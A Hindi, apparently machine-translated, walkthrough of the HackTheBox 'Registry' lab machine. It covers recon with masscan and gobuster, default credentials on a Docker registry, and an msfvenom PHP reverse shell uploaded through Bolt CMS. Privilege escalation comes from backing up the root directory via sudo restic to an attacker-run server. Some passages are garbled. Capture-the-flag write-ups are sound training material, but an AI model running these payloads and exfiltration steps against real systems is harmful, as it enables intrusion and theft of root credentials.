👨‍🌾 📡 🚡 बॉक्स को हैक करें। पैसेज रजिस्ट्री। डॉकर, सीएमएस बोल्ट और रेस्टिक में आरसीई ⏬ 💅 🕛

मैं HackTheBox साइट से आगे की प्रक्रिया के लिए भेजे गए समाधान प्रकाशित करना जारी रखता हूं । मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम docker regisrty से निपटेंगे, CMS बोल्ट में RCE चलाएंगे, और रेस्टेंट बैकअप प्रोग्राम का उपयोग करके विशेषाधिकारों को बढ़ाएंगे।

प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि किसी कार्य कंप्यूटर या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, क्योंकि आप एक निजी नेटवर्क पर ऐसे लोगों के साथ रहते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)

संगठनात्मक जानकारी

, - , :

PWN;
(Crypto);
c (Network);
(Reverse Engineering);
(Stegano);
WEB-.

, , , .

, , Telegram . , , .

. , - , .

टोह

इस मशीन का IP पता 10.10.10.159 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।

10.10.10.159    registry.htb

सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने में लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम 1000 पैकेट प्रति सेकंड की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

अब, बंदरगाहों पर काम करने वाली सेवाओं के बारे में अधिक विस्तृत जानकारी के लिए, हम -ए विकल्प के साथ एक स्कैन चलाएंगे।

nmap -A registry.htb -p22,80,443

होस्ट के 3 पोर्ट खुले हैं, जबकि प्रमाणपत्र (पोर्ट 443) docker.registry.htb के लिए है। इसे / etc / मेजबान में भी जोड़ें।

10.10.10.159 docker.registry.htb

जब आप रजिस्ट्री. htb की ओर मुड़ते हैं, तो हमें nginx प्रॉम्प्ट द्वारा बधाई दी जाती है, और docker.registry.htb के लिए, हम एक खाली पृष्ठ देखते हैं ।

चलो gobuster का उपयोग करते हुए निर्देशिकाओं पर पुनरावृति करते हैं। मापदंडों में हम धाराओं की संख्या 128 (-t), URL (-u), शब्दकोश (-w) और एक्सटेंशन जो हमें (-x) ब्याज देते हैं, इंगित करते हैं।

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

Backup.php हमें कुछ भी नहीं देता है, बोल्ट में CMS बोल्ट के साथ एक साइट है, और स्थापित में किसी प्रकार की फ़ाइल है, इसे डाउनलोड करें।

wget http://registry.htb/install/ -O ind

और हमें पता चलता है कि यह किस तरह की फाइल है।

हम तुरंत "gzip संकुचित डेटा" पढ़ सकते हैं।

इस तरह हमें सर्टिफिकेट मिलता है, और डोकर संदर्भ दस्तावेज से जुड़ता है।
किसी अन्य डोमेन के मामले में, प्रमाणपत्र सत्यापन को छोड़ने के लिए -k विकल्प जोड़ें।

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

अब हम v2 डायरेक्टरी में जाते हैं, और हम ऑथेंटिकेशन से मिलते हैं।

और सबसे सरल संयोजन व्यवस्थापक: व्यवस्थापक हमें पहुंच प्रदान करता है। मेजबान docker regisrty चलाता है, इसलिए, निम्न स्पष्टीकरण से निम्नानुसार है, हम इसके रिपॉजिटरी को निम्नलिखित पते पर देखेंगे : docker.registry.htb / v2 / _catalog ।

और हम एक रिपॉजिटरी पाते हैं।

आइए डॉकटर इंस्टॉल करें और सर्टिफिकेट इंस्टॉलेशन डॉक्यूमेंटेशन की ओर मुड़ें।

/ Etc / docker निर्देशिका पर जाएं और संग्रह से प्रमाणपत्र जोड़ें।

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

अब डॉकटर में लॉग इन करें।

अब इमेज लोड करें।

sudo docker pull docker.registry.htb:443/bolt-image:latest

और इसे चलाते हैं।

sudo docker run -it docker.registry.htb:443/bolt-image:latest

और सबसे पहली चीज हम SSH को देखते हैं। सौभाग्य से, एक कुंजी, साथ ही एक कॉन्फ़िगरेशन है, जिससे यह स्पष्ट हो जाता है कि हमारा उपयोगकर्ता बोल्ट है।

लेकिन बात यह है कि कुंजी एन्क्रिप्टेड है। इसका मतलब है कि कनेक्ट होने पर, वे पासवर्ड मांगेंगे। परिणाम स्ट्रिंग "पास" के लिए फाइलों में एक खोज है।

grep -i -r "pass" ./etc/

यह स्क्रिप्ट कुंजी को डिक्रिप्ट करने के लिए पासवर्ड मांगती है। और इसका जवाब इसमें दिया गया है।

हमारी कुंजी के साथ ssh के माध्यम से कनेक्ट करें।

होस्ट पर एक backup.php फ़ाइल थी, आइए एक नज़र डालते हैं कि इसमें क्या है।

यह कैसे sudo का उपयोग किया जाता है, और जाहिरा तौर पर एक पासवर्ड के बिना। लेकिन बोल्ट के लिए पासवर्ड की आवश्यकता होती है।

इसका मतलब है कि हमें सेवा उपयोगकर्ता प्राप्त करने की आवश्यकता है। चूंकि CMS बोल्ट का उपयोग किया जाता है, इसलिए हम sqlite डेटाबेस तक पहुंच सकते हैं। डाउनलोड करो।

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

डेटाबेस के साथ काम करना शुरू करते हैं।

sqlite3 bolt.db

आइए देखते हैं टेबल।

और bolt_users तालिका से प्रविष्टियां प्राप्त करें।

इसलिए हमारे पास एक एडमिन हैश है। JTR का उपयोग करके उस पर Iterate करें।

अब बोल्ट को एडमिन के रूप में लॉग इन करें। और हम संस्करण 3.6.4 का निरीक्षण करते हैं।

इस संस्करण के लिए कारनामे हैं।

भेद्यता यह है कि हम उस फ़ाइल एक्सटेंशन को कॉन्फ़िगर कर सकते हैं जिसे हमें डाउनलोड करने की आवश्यकता है, और फिर फ़ाइल अपलोड करें। चलो लोड के साथ एक php फ़ाइल बनाते हैं (मैं पहले से ही कहता हूं कि यह वापस कनेक्ट करने के लिए काम नहीं किया था इसलिए 4321 पोर्ट को आगे भेजा गया था :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321।

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

और सुनने वाले को चलाओ।

चलो कॉन्फ़िगरेशन के माध्यम से चलते हैं -> मुख्य कॉन्फ़िगरेशन और फ़ाइल को डाउनलोड करने में सक्षम होने के लिए php एक्सटेंशन जोड़ें।

इसके बाद फाइल मैनेजमेंट पर जाएं -> फाइल अपलोड करें और फाइल को जोड़ें। इसे एक्सेस करने के बाद, हम कनेक्शन देखेंगे।

बैश शेल लॉन्च करें, हम यह भी मानते हैं कि हम सेवा उपयोगकर्ता की ओर से काम कर रहे हैं।

चलो sudo की जांच करते हैं, निरीक्षण करते हैं कि backup.php से कमांड बिना पासवर्ड के sudo के तहत चलाया जा सकता है।

रेस्टिक एक बैकअप प्रोग्राम है जिसे गोलंग में लिखा गया है। चूँकि हम sudo के तहत बैकअप बना सकते हैं, हम संपूर्ण रूट डायरेक्टरी को कॉपी कर सकते हैं। सबसे पहले, 8000 बंदरगाह के माध्यम से चलते हैं।

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

रेस्ट-सर्वर स्थापित करें और चलाएं (बिना प्रमाणीकरण के 8000 पोस्ट पर)।

चलो कनेक्ट करें और बैकअप को प्रारंभ करें (restr1)।

अब रूट डायरेक्टरी का बैकअप लें।

बैकअप स्थानीय मशीन पर सहेजा गया था। सभी सेव की हुई फाइल्स को देखते हैं। SSH कुंजी प्राप्त करें।

restic -r /tmp/restic/restr1/ ls latest

इसे पुनर्स्थापित करें।

जुडिये

सिस्टम में हमारी पूरी पहुंच है।

आप हमसे टेलीग्राम पर जुड़ सकते हैं । वहां आप दिलचस्प सामग्री, मर्ज किए गए पाठ्यक्रम, साथ ही सॉफ़्टवेयर पा सकते हैं। आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम हमेशा किसी भी आईटी और सूचना सुरक्षा मुद्दों पर एक दूसरे की मदद कर सकते हैं।

बॉक्स को हैक करें। पैसेज रजिस्ट्री। डॉकर, सीएमएस बोल्ट और रेस्टिक में आरसीई

टोह

More articles: